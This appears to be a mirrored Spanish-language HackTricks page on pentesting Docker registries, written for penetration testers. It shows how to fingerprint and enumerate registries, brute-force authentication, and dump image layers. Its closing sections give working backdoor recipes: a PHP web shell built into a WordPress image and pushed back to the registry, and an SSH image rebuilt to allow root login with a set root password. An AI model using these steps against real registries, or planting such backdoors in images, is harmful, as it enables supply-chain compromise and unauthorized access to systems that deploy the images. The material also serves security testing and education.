mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
281 lines
14 KiB
Markdown
281 lines
14 KiB
Markdown
# 5000 - Pentesting Docker Registry
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Información Básica
|
|
|
|
**Información de** [**aquí**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.**
|
|
|
|
Un **Docker registry** es un sistema de almacenamiento y distribución para imágenes Docker nombradas. La misma imagen puede tener múltiples versiones diferentes, identificadas por sus etiquetas.\
|
|
Un Docker registry se organiza en **Docker repositories**, donde un repositorio contiene todas las versiones de una imagen específica. El registro permite a los usuarios de Docker descargar imágenes localmente, así como subir nuevas imágenes al registro (dado que se tengan los permisos de acceso adecuados cuando sea aplicable).
|
|
|
|
Por defecto, el motor de Docker interactúa con **DockerHub**, la instancia pública de registro de Docker. Sin embargo, es posible ejecutar en las instalaciones la distribución/registro de Docker de código abierto, así como una versión comercialmente soportada llamada **Docker Trusted Registry**. Hay otros registros públicos disponibles en línea.
|
|
|
|
Para descargar una imagen de un registro local, podrías ejecutar un comando similar a:
|
|
```
|
|
docker pull my-registry:9000/foo/bar:2.1
|
|
```
|
|
donde extraes la versión de la imagen `foo/bar` con la etiqueta `2.1` de nuestro registro localizado en el dominio `my-registry`, puerto `9000`.\
|
|
Si hubieras utilizado DockerHub en su lugar, y 2.1 también fuera la última versión, podrías ejecutar este comando para extraer la misma imagen localmente:
|
|
```
|
|
docker pull foo/bar
|
|
```
|
|
**Puerto predeterminado:** 5000
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
5000/tcp open http Docker Registry (API: 2.0)
|
|
```
|
|
## Descubrimiento
|
|
|
|
La forma más fácil de descubrir este servicio en funcionamiento es obtenerlo en la salida de nmap. De todos modos, ten en cuenta que, como es un servicio basado en HTTP, puede estar detrás de proxies HTTP y nmap no lo detectará.
|
|
Algunas huellas:
|
|
|
|
* Si accedes a `/`, no se devuelve nada en la respuesta.
|
|
* Si accedes a `/v2/`, entonces se devuelve `{}`.
|
|
* Si accedes a `/v2/_catalog`, puedes obtener:
|
|
* `{"repositories":["alpine","ubuntu"]}`
|
|
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
|
|
|
## Enumeración
|
|
|
|
### HTTP/HTTPS
|
|
|
|
El registro de Docker puede estar configurado para usar **HTTP** o **HTTPS**. Por lo tanto, lo primero que podrías necesitar hacer es **encontrar cuál de ellos** está configurado:
|
|
```bash
|
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
|
#If HTTPS
|
|
Warning: Binary output can mess up your terminal. Use "--output -" to tell
|
|
Warning: curl to output it to your terminal anyway, or consider "--output
|
|
Warning: <FILE>" to save to a file.
|
|
|
|
#If HTTP
|
|
{"repositories":["alpine","ubuntu"]}
|
|
```
|
|
### Autenticación
|
|
|
|
Docker registry también puede estar configurado para requerir **autenticación**:
|
|
```bash
|
|
curl -k https://192.25.197.3:5000/v2/_catalog
|
|
#If Authentication required
|
|
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
|
|
#If no authentication required
|
|
{"repositories":["alpine","ubuntu"]}
|
|
```
|
|
Si el Docker Registry requiere autenticación, puedes [**intentar forzarla bruscamente usando esto**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
|
**Si encuentras credenciales válidas, necesitarás usarlas** para enumerar el registro, en `curl` puedes usarlas de la siguiente manera:
|
|
```bash
|
|
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
|
```
|
|
### Enumeración usando DockerRegistryGrabber
|
|
|
|
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) es una herramienta en python para enumerar / volcar docker registry (sin o con autenticación básica)
|
|
```bash
|
|
python3 DockerGraber.py http://127.0.0.1 --list
|
|
|
|
[+] my-ubuntu
|
|
[+] my-ubuntu2
|
|
|
|
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|
|
|
[+] my-ubuntu
|
|
[+] my-ubuntu2
|
|
[+] blobSum found 5
|
|
[+] Dumping my-ubuntu
|
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
[+] blobSum found 5
|
|
[+] Dumping my-ubuntu2
|
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
|
|
|
|
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
|
|
|
[+] blobSum found 5
|
|
[+] Dumping my-ubuntu
|
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
```
|
|
### Enumeración usando curl
|
|
|
|
Una vez que **obtienes acceso al registro de Docker**, aquí hay algunos comandos que puedes usar para enumerarlo:
|
|
```bash
|
|
#List repositories
|
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
|
{"repositories":["alpine","ubuntu"]}
|
|
|
|
#Get tags of a repository
|
|
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
|
|
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
|
|
|
|
#Get manifests
|
|
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
|
|
{
|
|
"schemaVersion": 1,
|
|
"name": "ubuntu",
|
|
"tag": "latest",
|
|
"architecture": "amd64",
|
|
"fsLayers": [
|
|
{
|
|
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
|
|
},
|
|
{
|
|
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
|
|
},
|
|
{
|
|
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
|
|
}
|
|
],
|
|
"history": [
|
|
{
|
|
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
|
|
},
|
|
{
|
|
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
|
|
},
|
|
{
|
|
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
|
|
}
|
|
],
|
|
"signatures": [
|
|
{
|
|
"header": {
|
|
"jwk": {
|
|
"crv": "P-256",
|
|
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
|
|
"kty": "EC",
|
|
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
|
|
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
|
|
},
|
|
"alg": "ES256"
|
|
},
|
|
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
|
|
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
|
|
}
|
|
]
|
|
}
|
|
|
|
#Download one of the previously listed blobs
|
|
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
|
|
|
|
#Inspect the insides of each blob
|
|
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
|
```
|
|
{% hint style="warning" %}
|
|
Tenga en cuenta que al descargar y descomprimir los archivos blobs, aparecerán archivos y carpetas en el directorio actual. **Si descarga todos los blobs y los descomprime en la misma carpeta, sobrescribirán valores de los blobs previamente descomprimidos**, así que tenga cuidado. Puede ser interesante descomprimir cada blob dentro de una carpeta diferente para inspeccionar el contenido exacto de cada blob.
|
|
{% endhint %}
|
|
|
|
### Enumeración usando docker
|
|
```bash
|
|
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
|
docker pull 10.10.10.10:5000/ubuntu
|
|
|
|
#Check the commands used to create the layers of the image
|
|
docker history 10.10.10.10:5000/ubuntu
|
|
#IMAGE CREATED CREATED BY SIZE COMMENT
|
|
#ed05bef01522 2 years ago ./run.sh 46.8MB
|
|
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
|
|
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
|
|
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
|
|
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
|
|
|
|
#Run and get a shell
|
|
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|
docker ps #Using a different shell
|
|
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
|
```
|
|
### Introducción de puerta trasera en imagen de WordPress
|
|
|
|
En el escenario donde has encontrado un Docker Registry que guarda una imagen de wordpress, puedes introducirle una puerta trasera.\
|
|
**Crea** la **puerta trasera**:
|
|
|
|
{% code title="shell.php" %}
|
|
```bash
|
|
<?php echo shell_exec($_GET["cmd"]); ?>
|
|
```
|
|
```markdown
|
|
{% endcode %}
|
|
|
|
Crea un **Dockerfile**:
|
|
|
|
{% code title="Dockerfile" %}
|
|
```
|
|
```bash
|
|
FROM 10.10.10.10:5000/wordpress
|
|
COPY shell.php /app/
|
|
RUN chmod 777 /app/shell.php
|
|
```
|
|
**Crea** la nueva imagen, **verifica** que se haya creado y **sube** (push) la misma:
|
|
```bash
|
|
docker build -t 10.10.10.10:5000/wordpress .
|
|
#Create
|
|
docker images
|
|
docker push registry:5000/wordpress #Push it
|
|
```
|
|
### Introducir puerta trasera en imagen de servidor SSH
|
|
|
|
Supongamos que encontraste un Docker Registry con una imagen SSH y quieres introducirle una puerta trasera.\
|
|
**Descarga** la imagen y **ejecútala**:
|
|
```bash
|
|
docker pull 10.10.10.10:5000/sshd-docker-cli
|
|
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
|
```
|
|
Extraiga el archivo `sshd_config` de la imagen SSH:
|
|
```bash
|
|
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
|
```
|
|
Y modifícalo para establecer: `PermitRootLogin yes`
|
|
|
|
Crea un **Dockerfile** como el siguiente:
|
|
|
|
{% tabs %}
|
|
{% tab title="Dockerfile" %}
|
|
```bash
|
|
FROM 10.10.10.10:5000/sshd-docker-cli
|
|
COPY sshd_config /etc/ssh/
|
|
RUN echo root:password | chpasswd
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
**Crea** la nueva imagen, **verifica** que se haya creado y **sube** la:
|
|
```bash
|
|
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
|
#Create
|
|
docker images
|
|
docker push registry:5000/sshd-docker-cli #Push it
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|